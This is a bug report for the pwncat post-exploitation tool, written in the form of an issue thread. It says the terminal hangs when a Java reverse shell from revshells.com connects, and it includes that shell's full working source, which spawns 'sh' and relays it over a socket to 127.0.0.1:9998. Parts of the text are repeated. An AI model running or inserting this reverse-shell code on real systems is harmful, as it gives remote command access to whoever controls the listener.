Open Dev380 opened 2 years ago
When using a shell from revshells.com (Java #3), the terminal hangs once the connection is accepted.
Provide the output of pwncat --version or a commit hash if working from 0.5.4
pwncat --version
$ pwncat --version 0.4.2
This code:
import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class shell { public static void main(String[] args) { String host = "127.0.0.1"; int port = 9998; String cmd = "sh"; try { Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} } p.destroy(); s.close(); } catch (Exception e) {} } }
Steps to reproduce the behavior:
The CLI should function as a "regular" reverse shell, with all functions available.
Stays like this forever
Bug Description
When using a shell from revshells.com (Java #3), the terminal hangs once the connection is accepted.
pwncat version
Provide the output of
pwncat --version
or a commit hash if working from 0.5.4Target System (aka "victim")
This code:
Steps to Reproduce
Steps to reproduce the behavior:
Expected Behavior
The CLI should function as a "regular" reverse shell, with all functions available.
Screenshots
Stays like this forever